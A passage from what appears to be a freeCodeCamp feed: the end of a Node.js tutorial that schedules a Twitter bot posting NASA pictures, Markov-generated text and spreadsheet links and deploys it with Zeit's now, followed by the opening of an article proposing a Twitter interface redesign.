<p>So now we can tweet them using <code>.post('statuses/update',...</code> with a <code>forEach</code> on the <code>data</code> that is returned in the callback:</p>
<pre><code class="lang-js">Tabletop.init({
  <span class="hljs-attr">key</span>: spreadsheetUrl,
  callback(data, tabletop) {
    data.forEach(<span class="hljs-function"><span class="hljs-params">d</span> =&gt;</span> {
      <span class="hljs-keyword">const</span> status = <span class="hljs-string">`<span class="hljs-subst">${d.links}</span> a link from a Google spreadsheet`</span>;
      bot.post(<span class="hljs-string">'statuses/update'</span>, {
        status
      }, <span class="hljs-function">(<span class="hljs-params">err, response, data</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
          <span class="hljs-built_in">console</span>.log(err)
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Post success!'</span>)
        }
      })
    })
  },
  <span class="hljs-attr">simpleSheet</span>: <span class="hljs-literal">true</span>
})
</code></pre>
<p>Note that <code>${d.links}</code> is the header name we use in the Google spreadsheet, I tried using skeleton and camel case and both returned errors so I went with a single name header on the spreadsheet.</p>
<p>The completed code here:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)
<span class="hljs-keyword">const</span> Tabletop = <span class="hljs-built_in">require</span>(<span class="hljs-string">'tabletop'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)

<span class="hljs-keyword">const</span> spreadsheetUrl = <span class="hljs-string">'https://docs.google.com/spreadsheets/d/1842GC9JS9qDWHc-9leZoEn9Q_-jcPUcuDvIqd_MMPZQ/pubhtml'</span>

Tabletop.init({
  <span class="hljs-attr">key</span>: spreadsheetUrl,
  callback(data, tabletop) {
    data.forEach(<span class="hljs-function"><span class="hljs-params">d</span> =&gt;</span> {
      <span class="hljs-keyword">const</span> status = <span class="hljs-string">`<span class="hljs-subst">${d.links}</span> a link from a Google spreadsheet`</span>
      <span class="hljs-built_in">console</span>.log(status)
      bot.post(<span class="hljs-string">'statuses/update'</span>, {
        status
      }, <span class="hljs-function">(<span class="hljs-params">err, response, data</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
          <span class="hljs-built_in">console</span>.log(err)
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Post success!'</span>)
        }
      })
    })
  },
  <span class="hljs-attr">simpleSheet</span>: <span class="hljs-literal">true</span>
})
</code></pre>
<h3 id="heading-putting-it-all-together">Putting it all together</h3>
<p>Ok, so those examples were good and all, but we haven’t really got a bot out of this have we? I mean you run it from the terminal and it’s done, but we want to be able to kick off the bot and leave it to do its thing.</p>
<p>One way I have found to do this is to use <code>setInterval</code> which will kick off events from the main <code>bot.js</code> module.</p>
<p>Take the example we did to tweet a picture and add it to it’s own module, so from the root directory of our project:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> src
touch picture-bot.js
</code></pre>
<p>Take the example code from that and paste it into the new module. Then we’re going to make the following changes, to <code>getPhoto</code>:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> getPhoto = <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">const</span> parameters = {
    <span class="hljs-attr">url</span>: <span class="hljs-string">'https://api.nasa.gov/planetary/apod'</span>,
    <span class="hljs-attr">qs</span>: {
      <span class="hljs-attr">api_key</span>: process.env.NASA_KEY
    },
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'binary'</span>
  }
  request.get(parameters, <span class="hljs-function">(<span class="hljs-params">err, respone, body</span>) =&gt;</span> {
    body = <span class="hljs-built_in">JSON</span>.parse(body)
    saveFile(body, <span class="hljs-string">'nasa.jpg'</span>)
  })
}
</code></pre>
<p>Then at the bottom of the module add:</p>
<pre><code class="lang-bash">module.exports = getPhoto
</code></pre>
<p>So now we can call the <code>getPhoto</code> function from the <code>picture-bot.js</code> module in our <code>bot.js</code> module. Our <code>bot.js</code> module should look something like this:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> picture = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./picture-bot'</span>)

picture()
</code></pre>
<p>That’s it, two lines of code, try running that from the terminal now:</p>
<pre><code class="lang-bash">yarn start
</code></pre>
<p>We should get some output like this:</p>
<pre><code class="lang-bash">yarn start v0.23.4
$ node index.js
Media saved!
file PATH C:\Users\path\to\project\tweebot-play\nasa.jpg
{ media_id: 863020197799764000,
  media_id_string: <span class="hljs-string">'863020197799763968'</span>,
  size: 371664,
  expires_after_secs: 86400,
  image: { image_type: <span class="hljs-string">'image/jpeg'</span>, w: 954, h: 944 } }
Status posted!
Done <span class="hljs-keyword">in</span> 9.89s.
</code></pre>
<p>The picture of the day is set up, but it has run once and completed. We need to put it on an interval with <code>setInterval</code>. It takes two options, the function it's going to call and the timeout value.</p>
<p>The picture updates every 24 hours so that will be how many milliseconds in 24 hours [8.64e+7].</p>
<p>The formula is 1000 <em> 60 = 1 minute, so 1000 </em> 60 <em> 60 </em> 24 so for now let’s add that directly into the <code>setInterval</code> function:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> picture = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./picture-bot'</span>)

picture()
<span class="hljs-built_in">setInterval</span>(picture, <span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">24</span>)
</code></pre>
<p>Cool, that’s a bot that will post the NASA image of the day every 24 hours!</p>
<p>Lets keep going, now lets add some randomness in with the Markov bot. Like what we did for the picture of the day example, let’s create a new module for the Markov bot and add all the code in there from the previous example, so from the terminal:</p>
<pre><code class="lang-bash"><span class="hljs-built_in">cd</span> src
touch markov-bot.js
</code></pre>
<p>Then copy and paste the Markov bot example into the new module, and make the following changes:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> tweetData = <span class="hljs-function">() =&gt;</span> {
  fs.createReadStream(filePath)
    .pipe(csvparse({
      <span class="hljs-attr">delimiter</span>: <span class="hljs-string">','</span>
    }))
    .on(<span class="hljs-string">'data'</span>, <span class="hljs-function"><span class="hljs-params">row</span> =&gt;</span> {
      inputText = <span class="hljs-string">`<span class="hljs-subst">${inputText}</span> <span class="hljs-subst">${cleanText(row[<span class="hljs-number">5</span>])}</span>`</span>
    })
    .on(<span class="hljs-string">'end'</span>, <span class="hljs-function">() =&gt;</span> {
      <span class="hljs-keyword">const</span> markov = <span class="hljs-keyword">new</span> rita.RiMarkov(<span class="hljs-number">10</span>)
      markov.loadText(inputText)
        .toString()
        .substring(<span class="hljs-number">0</span>, <span class="hljs-number">140</span>)
      <span class="hljs-keyword">const</span> sentence = markov.generateSentences(<span class="hljs-number">1</span>)
      bot.post(<span class="hljs-string">'statuses/update'</span>, {
        <span class="hljs-attr">status</span>: sentence
      }, <span class="hljs-function">(<span class="hljs-params">err, data, response</span>) =&gt;</span> {
        <span class="hljs-keyword">if</span> (err) {
          <span class="hljs-built_in">console</span>.log(err)
        } <span class="hljs-keyword">else</span> {
          <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Markov status tweeted!'</span>, sentence)
        }
      })
    })
}
</code></pre>
<p>Then at the bottom of the module add:</p>
<pre><code class="lang-js"><span class="hljs-built_in">module</span>.exports = tweetData
</code></pre>
<p>Similar to the picture bot example, we’re going to add the <code>tweetData</code> export from <code>markov-bot.js</code> to our <code>bot.js</code>module, which should now look something like this:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> picture = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./picture-bot'</span>)
<span class="hljs-keyword">const</span> markov = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./markov-bot'</span>)

picture()
<span class="hljs-built_in">setInterval</span>(picture, <span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">24</span>)

markov()
</code></pre>
<p>Let’s make the Markov bot tweet at random intervals between 5 minutes and 3 hours</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> picture = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./picture-bot'</span>)
<span class="hljs-keyword">const</span> markov = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./markov-bot'</span>)

picture()
<span class="hljs-built_in">setInterval</span>(picture, <span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">24</span>)

<span class="hljs-keyword">const</span> markovInterval = (<span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">180</span>) + <span class="hljs-number">1</span>) * <span class="hljs-number">1000</span>
markov()
<span class="hljs-built_in">setInterval</span>(markov, markovInterval)
</code></pre>
<p>Alright! Picture bot and Markov bot, both done.</p>
<p>Do the same with the link bot? Ok, same as before, you get the idea now, right?</p>
<p>Create a new file in the <code>src</code> folder for link bot:</p>
<pre><code class="lang-bash">touch link-bot.js
</code></pre>
<p>Copy and paste the code from the link bot example into the new module, like this:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> link = <span class="hljs-function">() =&gt;</span> {
  Tabletop.init({
    <span class="hljs-attr">key</span>: spreadsheetUrl,
    callback(data, tabletop) {
      data.forEach(<span class="hljs-function"><span class="hljs-params">d</span> =&gt;</span> {
        <span class="hljs-keyword">const</span> status = <span class="hljs-string">`<span class="hljs-subst">${d.links}</span> a link from a Google spreadsheet`</span>
        <span class="hljs-built_in">console</span>.log(status)
        bot.post(<span class="hljs-string">'statuses/update'</span>, {
          status
        }, <span class="hljs-function">(<span class="hljs-params">err, response, data</span>) =&gt;</span> {
          <span class="hljs-keyword">if</span> (err) {
            <span class="hljs-built_in">console</span>.log(err)
          } <span class="hljs-keyword">else</span> {
            <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Post success!'</span>)
          }
        })
      })
    },
    <span class="hljs-attr">simpleSheet</span>: <span class="hljs-literal">true</span>
  })
}

<span class="hljs-built_in">module</span>.exports = link
</code></pre>
<p>Then we can call it from the bot, so it should look something like this:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> picture = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./picture-bot'</span>)
<span class="hljs-keyword">const</span> markov = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./markov-bot'</span>)
<span class="hljs-keyword">const</span> link = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./link-bot'</span>)

picture()
<span class="hljs-built_in">setInterval</span>(picture, <span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">24</span>)

<span class="hljs-keyword">const</span> markovInterval = (<span class="hljs-built_in">Math</span>.floor(<span class="hljs-built_in">Math</span>.random() * <span class="hljs-number">180</span>) + <span class="hljs-number">1</span>) * <span class="hljs-number">1000</span>
markov()
<span class="hljs-built_in">setInterval</span>(markov, markovInterval)

link()
<span class="hljs-built_in">setInterval</span>(link, <span class="hljs-number">1000</span> * <span class="hljs-number">60</span> * <span class="hljs-number">60</span> * <span class="hljs-number">24</span>)
</code></pre>
<p>We can now leave the bot running to do its thing!!</p>
<h3 id="heading-deploy-to-now">Deploy to <code>now</code></h3>
<p>We have a bot that does a few things, but it’s on our development environment and can’t stay there forever. (It could, but that would be pretty impractical). Let’s put our bot on a server somewhere to do it’s thing.</p>
<p>We’re going to be using <a target="_blank" href="https://zeit.co/now">Zeit’s</a> <code>now</code> platform, which allows for simple deployments from the CLI. If you're not familiar with it, then take a quick look at the <a target="_blank" href="https://zeit.co/now">documentation</a>. In these examples we're going to be using the <code>now-cli</code>.</p>
<p>There’s a few things we need to do in order to get our bot ready to go on <code>now</code>. Let's list them quickly and then go into detail.</p>
<ul>
<li>Signup and install <code>now-cli</code></li>
<li>Add <code>now</code> settings + <code>.npmignore</code> file</li>
<li>Add <code>.env</code> variables as secrets</li>
<li>Add npm <code>deploy</code> script</li>
<li>Re jig <code>picture-bot.js</code></li>
</ul>
<p>Ready? Lets do this!</p>
<p><strong>Signup and install <code>now-cli</code></strong></p>
<p>First, signup for Z<a target="_blank" href="https://zeit.co/login">eit</a> by creating an account and authenticating it, then install the CLI.</p>
<p>Install <code>now</code> globally on your machine so you can use it everywhere.</p>
<pre><code class="lang-bash">npm install -g now
</code></pre>
<p>Once it’s completed, login with:</p>
<pre><code class="lang-bash">now --login
</code></pre>
<p>The first time you run <code>now</code>, it'll ask for your email address in order to identify you. Go to the email account you supplied when signing up, click on the email sent to you from <code>now</code>, and you'll be logged in automatically.</p>
<p>If you need to switch the account or re-authenticate, run the same command again.</p>
<p>You can always check out the <code>now-cli</code> documentation for more information along with the <code>[your first deployment](https://zeit.co/docs/getting-started/your-first-deployments#deploying-node)</code> guide.</p>
<p><strong>Add <code>now</code> settings</strong></p>
<p>With signup and install done, we can configure the bot for deploying to <code>now</code>. First let’s add the <code>now</code> settings to our <code>package.json</code> file. I put it between my <code>npm</code> scripts and the author name in my <code>package.json</code>:</p>
<pre><code class="lang-js"><span class="hljs-string">"scripts"</span>: {
    <span class="hljs-string">"start"</span>: <span class="hljs-string">"node index.js"</span>
  },
  <span class="hljs-string">"now"</span>: {
    <span class="hljs-string">"alias"</span>: <span class="hljs-string">"my-awesome-alias"</span>,
    <span class="hljs-string">"files"</span>: [
      <span class="hljs-string">"src"</span>,
      <span class="hljs-string">"index.js"</span>
    ]
  },
  <span class="hljs-string">"author"</span>: <span class="hljs-string">"Scott Spence"</span>,
</code></pre>
<p>This was a source of major confusion for me so I’m hoping I can save you the pain I went through trying to configure this. All the relevant documentation is there, you just need to put it all together.</p>
<p>If you find anything in here that doesn’t make sense or seems wrong, then please <a target="_blank" href="https://github.com/spences10/twitter-bot-playground/issues/new">log an issue</a> or create a pull request.</p>
<p>The now settings <code>alias</code> is to give your deployment a shorthand name over the auto generated URL that <code>now</code> creates. The <code>files</code> section covers what we want to include in the deployment to <code>now</code> which I’ll cover shortly. Basically, what is included in the <code>files</code> array is all that get passed up to the <code>now</code> servers.</p>
<p>Now we need to add a <code>.npmignore</code> file in the root of the project and add the following line to it:</p>
<pre><code>!tweets.csv
</code></pre><p>The <code>tweets.csv</code> needs to go up to the <code>now</code> server to be used by the bot, but we previously included it in our <code>.gitignore</code>. This is what <code>now</code> uses to build your project when it's being loaded to the server. This means that the file isn't going to get loaded unless we edit the <code>.npmignore</code> to not ignore the <code>tweets.csv</code>.</p>
<p><strong>Add <code>.env</code> variables as secrets</strong></p>
<p>Our super secret Twitter keys will need to be stored as <code>secrets</code> in <code>now</code>. This is a pretty neat feature where you can define anything as a secret and reference it as an alias.</p>
<p>The syntax is <code>now secrets add my-secret "my value"</code> so for our <code>.env</code> keys, add them all in, giving them a descriptive (but short!) name.</p>
<p>You will not need to wrap your “my value” in quotes but the documentation does say “when in doubt, wrap your value in quotes.”</p>
<p>In the terminal, <code>now secrets ls</code> should list out your <code>secrets</code> you just created:</p>
<pre><code class="lang-bash">$ now secrets ls
&gt; 5 secrets found under spences10 [1s]
                            id  name                   created
  sec_xxxxxxxxxxZpLDxxxxxxxxxx  ds-twit-key            23h ago
  sec_xxxxxxxxxxTE5Kxxxxxxxxxx  ds-twit-secret         23h ago
  sec_xxxxxxxxxxNorlxxxxxxxxxx  ds-twit-access         23h ago
  sec_xxxxxxxxxxMe1Cxxxxxxxxxx  ds-twit-access-secret  23h ago
  sec_xxxxxxxxxxMJ2jxxxxxxxxxx  nasa-key               23h ago
</code></pre>
<p><strong>Add npm <code>deploy</code> script</strong></p>
<p>With our secrets defined, we can create a deployment script to deploy to <code>now</code>. In our <code>package.json</code>, add an additional script:</p>
<pre><code class="lang-json"><span class="hljs-string">"main"</span>: <span class="hljs-string">"index.js"</span>,
  <span class="hljs-string">"scripts"</span>: {
    <span class="hljs-attr">"start"</span>: <span class="hljs-string">"node index.js"</span>,
    <span class="hljs-attr">"deploy"</span>: <span class="hljs-string">"now -e CONSUMER_KEY=@ds-twit-key -e CONSUMER_SECRET=@ds-twit-secret -e ACCESS_TOKEN=@ds-twit-access  -e ACCESS_TOKEN_SECRET=@ds-twit-access-secret -e NASA_KEY=@nasa-key"</span>
  },
  <span class="hljs-string">"now"</span>: {
</code></pre>
<p>We added <code>deploy</code>, which will run the <code>now</code> command and pass it all our environment <code>-e</code> variables and the associated <code>secret</code> value. If we break it down into separate lines it will be a bit clearer:</p>
<pre><code class="lang-bash">now 
-e CONSUMER_KEY=@ds-twit-key 
-e CONSUMER_SECRET=@ds-twit-secret 
-e ACCESS_TOKEN=@ds-twit-access  
-e ACCESS_TOKEN_SECRET=@ds-twit-access-secret 
-e NASA_KEY=@nasa-key
</code></pre>
<p><strong>Re-jig <code>picture-bot.js</code></strong></p>
<p>Because <code>now</code> deployments are <a target="_blank" href="https://blog.codeship.com/immutable-deployments/">immutable</a>, it means that there's no write access to the disk where we want to save our NASA photo of the day. To get around that we need to use the <code>/tmp</code> file location.</p>
<p>Thank you to <a target="_blank" href="https://github.com/timneutkens">Tim</a> from Zeit for helping me out with this!</p>
<p>In the <code>picture-bot.js</code> module, add the following two lines to the top of the module:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> os = <span class="hljs-built_in">require</span>(<span class="hljs-string">'os'</span>)
<span class="hljs-keyword">const</span> tmpDir = os.tmpdir()
</code></pre>
<p>Those two lines give us the <code>temp</code> directory of the operating system. If you’re like me and you use Windows, it will work just as well as if you are on another system like a linux based system (what <code>now</code> is). In our <code>saveFile</code> function, we're going to use <code>tmpDir</code> to save our file.</p>
<p>We’ve taken out the <code>nasa.jpg</code> from the <code>getPhoto</code> function since we can define that information in the <code>saveFile</code> function. The NASA photo of the day is not always a <code>jpeg</code>, some items posted there are videos. We can define the type with a <a target="_blank" href="https://developer.mozilla.org/en/docs/Web/JavaScript/Reference/Operators/Conditional_Operator">ternary function</a> off of the <code>body</code> being passed in, this will send a tweet with a link to the video:</p>
<pre><code class="lang-js"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveFile</span>(<span class="hljs-params">body</span>) </span>{
  <span class="hljs-keyword">const</span> fileName = body.media_type === <span class="hljs-string">'image/jpeg'</span> ? <span class="hljs-string">'nasa.jpg'</span> : <span class="hljs-string">'nasa.mp4'</span>;
  <span class="hljs-keyword">const</span> filePath = path.join(tmpDir + <span class="hljs-string">`/<span class="hljs-subst">${fileName}</span>`</span>)

  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`saveFile: file PATH <span class="hljs-subst">${filePath}</span>`</span>)
  <span class="hljs-keyword">if</span> (fileName === <span class="hljs-string">'nasa.mp4'</span>) {
    <span class="hljs-comment">// tweet the link</span>
    <span class="hljs-keyword">const</span> params = {
      <span class="hljs-attr">status</span>: <span class="hljs-string">'NASA video link: '</span> + body.url
    }
    postStatus(params)
    <span class="hljs-keyword">return</span>
  }
  <span class="hljs-keyword">const</span> file = fs.createWriteStream(filePath)

  request(body).pipe(file).on(<span class="hljs-string">'close'</span>, <span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Media saved!'</span>)
      <span class="hljs-keyword">const</span> descriptionText = body.title
      uploadMedia(descriptionText, filePath)
    }
  })
}
</code></pre>
<p>The completed code here:</p>
<pre><code class="lang-js"><span class="hljs-keyword">const</span> Twit = <span class="hljs-built_in">require</span>(<span class="hljs-string">'twit'</span>)
<span class="hljs-keyword">const</span> request = <span class="hljs-built_in">require</span>(<span class="hljs-string">'request'</span>)
<span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>)
<span class="hljs-keyword">const</span> config = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./config'</span>)
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>)

<span class="hljs-keyword">const</span> bot = <span class="hljs-keyword">new</span> Twit(config)

<span class="hljs-keyword">const</span> os = <span class="hljs-built_in">require</span>(<span class="hljs-string">'os'</span>)
<span class="hljs-keyword">const</span> tmpDir = os.tmpdir()

<span class="hljs-keyword">const</span> getPhoto = <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-keyword">const</span> parameters = {
    <span class="hljs-attr">url</span>: <span class="hljs-string">'https://api.nasa.gov/planetary/apod'</span>,
    <span class="hljs-attr">qs</span>: {
      <span class="hljs-attr">api_key</span>: process.env.NASA_KEY
    },
    <span class="hljs-attr">encoding</span>: <span class="hljs-string">'binary'</span>
  }
  request.get(parameters, <span class="hljs-function">(<span class="hljs-params">err, respone, body</span>) =&gt;</span> {
    body = <span class="hljs-built_in">JSON</span>.parse(body)
    saveFile(body)
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">saveFile</span>(<span class="hljs-params">body</span>) </span>{
  <span class="hljs-keyword">const</span> fileName = body.media_type === <span class="hljs-string">'image/jpeg'</span> ? <span class="hljs-string">'nasa.jpg'</span> : <span class="hljs-string">'nasa.mp4'</span>;
  <span class="hljs-keyword">const</span> filePath = path.join(tmpDir + <span class="hljs-string">`/<span class="hljs-subst">${fileName}</span>`</span>)

  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`saveFile: file PATH <span class="hljs-subst">${filePath}</span>`</span>)
  <span class="hljs-keyword">if</span> (fileName === <span class="hljs-string">'nasa.mp4'</span>) {
    <span class="hljs-comment">// tweet the link</span>
    <span class="hljs-keyword">const</span> params = {
      <span class="hljs-attr">status</span>: <span class="hljs-string">'NASA video link: '</span> + body.url
    }
    postStatus(params)
    <span class="hljs-keyword">return</span>
  }
  <span class="hljs-keyword">const</span> file = fs.createWriteStream(filePath)

  request(body).pipe(file).on(<span class="hljs-string">'close'</span>, <span class="hljs-function"><span class="hljs-params">err</span> =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Media saved!'</span>)
      <span class="hljs-keyword">const</span> descriptionText = body.title
      uploadMedia(descriptionText, filePath)
    }
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">uploadMedia</span>(<span class="hljs-params">descriptionText, fileName</span>) </span>{
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">`uploadMedia: file PATH <span class="hljs-subst">${fileName}</span>`</span>)
  bot.postMediaChunked({
    <span class="hljs-attr">file_path</span>: fileName
  }, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(data)
      <span class="hljs-keyword">const</span> params = {
        <span class="hljs-attr">status</span>: descriptionText,
        <span class="hljs-attr">media_ids</span>: data.media_id_string
      }
      postStatus(params)
    }
  })
}

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">postStatus</span>(<span class="hljs-params">params</span>) </span>{
  bot.post(<span class="hljs-string">'statuses/update'</span>, params, <span class="hljs-function">(<span class="hljs-params">err, data, respone</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) {
      <span class="hljs-built_in">console</span>.log(err)
    } <span class="hljs-keyword">else</span> {
      <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Status posted!'</span>)
    }
  })
}

<span class="hljs-built_in">module</span>.exports = getPhoto
</code></pre>
<p>Ok, thats it! We’re ready to deploy to <code>now</code>!</p>
<p>In the terminal we call our deployment script we defined earlier:</p>
<pre><code class="lang-bash">yarn deploy
</code></pre>
<p>You will get some output:</p>
<pre><code class="lang-bash">λ yarn deploy
yarn deploy v0.24.4
$ now -e CONSUMER_KEY=@ds-twit-key -e CONSUMER_SECRET=@ds-twit-secret -e ACCESS_TOKEN=@ds-twit-access  -e ACCESS_TOKEN_SECRET=@ds-twit-access-secret -e NASA_KEY=@nasa-key
&gt; Deploying ~\gitrepos\tweebot-play under spences10
&gt; Using Node.js 7.10.0 (default)
&gt; Ready! https://twee-bot-play-rapjuiuddx.now.sh (copied to clipboard) [5s]
&gt; Upload [====================] 100% 0.0s
&gt; Sync complete (1.54kB) [2s]
&gt; Initializing…
&gt; Building
&gt; ▲ npm install
&gt; ⧗ Installing:
&gt;  ‣ csv-parse@^1.2.0
&gt;  ‣ dotenv@^4.0.0
&gt;  ‣ rita@^1.1.63
&gt;  ‣ tabletop@^1.5.2
&gt;  ‣ twit@^2.2.5
&gt; ✓ Installed 106 modules [3s]
&gt; ▲ npm start
&gt; &gt; tweet-bot-playground@1.0.0 start /home/nowuser/src
&gt; &gt; node index.js
&gt; saveFile: file PATH /tmp/nasa.jpg
&gt; Media saved!
&gt; uploadMedia: file PATH /tmp/nasa.jpg
</code></pre>
<p>Woot! You have your bot deployed!</p>
<p>If you click on the link produced, you will be able to inspect the bot as it is on <code>now</code>. There's also a handy logs section on the page where you can check for output.</p>
<h3 id="heading-resources">Resources</h3>
<p><a target="_blank" href="https://github.com/amandeepmittal/awesome-twitter-bots">awesome-twitter-bots</a></p>
<p>Thanks for reading! If you liked this story, please don’t forget to recommend it by clicking the button on the side, and by sharing it with your friends through social media.</p>
<p>If you want to learn more about me, you can <a target="_blank" href="https://github.com/spences10/ama">ask me anything</a> check my <a target="_blank" href="https://github.com/spences10">Github</a>, or tweet me <a target="_blank" href="https://twitter.com/ScottDevTweets">@ScottDevTweets</a>.</p>
<blockquote>
<p><strong>You can read other articles like this on <a target="_blank" href="https://thelocalhost.blog/">my blog</a>.</strong></p>
</blockquote>
 ]]>
                </content:encoded>
            </item>
        
            <item>
                <title>
                    <![CDATA[ So how do we fix Twitter? A user interface revamp would be a good place to start. ]]>
                </title>
                <description>
                    <![CDATA[ By Daryll Santos It’s no secret that Twitter has been struggling to grow its user base. To fix this, they’ve laid out a long-term strategy to turn around its business by focusing on five areas: Its core service Live-streaming video The site’s “creat... ]]>
                </description>
                <link>https://www.freecodecamp.org/news/this-ui-revamp-could-make-twitter-successful-again-d4c551b353b3/</link>
                <guid isPermaLink="false">66c36334af2b7c40e7d7eb50</guid>
                
                    <category>
                        <![CDATA[ Design ]]>
                    </category>
                
                    <category>
                        <![CDATA[ social media ]]>
                    </category>
                
                    <category>
                        <![CDATA[ tech  ]]>
                    </category>
                
                    <category>
                        <![CDATA[ Twitter ]]>
                    </category>
                
                    <category>
                        <![CDATA[ UX ]]>
                    </category>
                
                <dc:creator>
                    <![CDATA[ freeCodeCamp ]]>
                </dc:creator>
                <pubDate>Thu, 09 Mar 2017 06:57:52 +0000</pubDate>
                <media:content url="https://cdn-media-1.freecodecamp.org/images/1*O3YZrr_LO--eNZykWD17KQ.png" medium="image" />
                <content:encoded>
                    <![CDATA[ <p>By Daryll Santos</p>
<p>It’s no secret that Twitter has been <a target="_blank" href="https://phys.org/news/2016-07-twitter-struggling-rivals.html">struggling to grow its user base</a>. To fix this, they’ve laid out a long-term strategy to turn around its business by <a target="_blank" href="http://www.reuters.com/article/us-twitter-results-idUSKCN1062JW">focusing on five areas</a>:</p>
<ol>
<li>Its core service</li>
<li>Live-streaming video</li>
<li>The site’s “creators and influencers”</li>
<li>Safety</li>
<li>Developers</li>
</ol>
<p>Two things that stuck out to me in that statement are 1) focus on its core service (tweeting) and 2) live-streaming video (Periscope).</p>
<p>Those stuck out to me because just recently, I convinced a friend to join Twitter. When he landed on the feed, his first questions were “how do I Tweet?” and “how do I go live?”</p>
<p>Seeing as how those are key features of Twitter, I’d think that those should be the most intuitive things to do, even for a new user.</p>
<h3 id="heading-objectives">Objectives</h3>
<ol>
<li><strong>Make Tweeting intuitive:</strong> Tweeting is the driving force behind Twitter; the staple that drives their product. So, right when a new user completes the registration process, the user should know, right away, how to Tweet.</li>
<li><strong>Make going Live more intuitive:</strong> <a target="_blank" href="http://www.recode.net/2015/5/11/11562534/twitter-paid-over-86-million-for-periscope-and-niche">Twitter spent $86.6M on Periscope</a> to provide their users the ability to live-video stream through their mobile app. It’s also a <a target="_blank" href="https://medium.com/looklivecam/on-demand-livestreaming-960a492d69d1#.z9u58217s">huge market</a>, and it’s no surprise that Facebook is attacking it so aggressively. With that in mind, why isn’t this functionality more accessible? For example, I remember a time when my friend was at a concert trying to live stream an artist walking out onto the stage. He missed the moment because he wasn’t able to go live quickly enough.</li>
<li><strong><em>Bonus</em> Update the Twitter feed</strong>: I’ve always felt that the Home Feed was a little too squished together. A few minor changes would benefit it tremendously. It’s also been some time since they’ve updated this, so a fresh face would be nice!</li>
</ol>
<h3 id="heading-user-personas">User Personas</h3>
<p>Of course, it’s always important to know your users. <a target="_blank" href="http://sproutsocial.com/insights/new-social-media-demographics/#twitter">37% of Twitter’s users are aged 18–29</a> and that’s also their largest user base, meaning that Twitter’s users are largely the tech-savvy, social media addicted, live-video streaming millennials. Knowing this, it’s imperative to make important features of Twitter (Tweeting and Periscope) more accessible to them.</p>
<p><img src="https://cdn-media-1.freecodecamp.org/images/vlzhq00QVvwI9IoRnuk0GIuSI272xDWC-eO2" alt="Image" width="600" height="400" loading="lazy"></p>
<h3 id="heading-user-research">User Research</h3>
<p>To ensure I made the best design choices possible and validate my objectives, I ran a survey to pinpoint the thoughts of Twitter users. Specifically, I aimed to discover:</p>
<ol>
<li>The ease-of-use level of tweeting for new users</li>
<li>How aware Twitter users are of the ability to go live (Periscope)</li>
<li>The ease-of-use level of live (Periscope)</li>
</ol>
<h4 id="heading-1-ease-of-use-for-new-users">1. Ease of Use for New Users</h4>
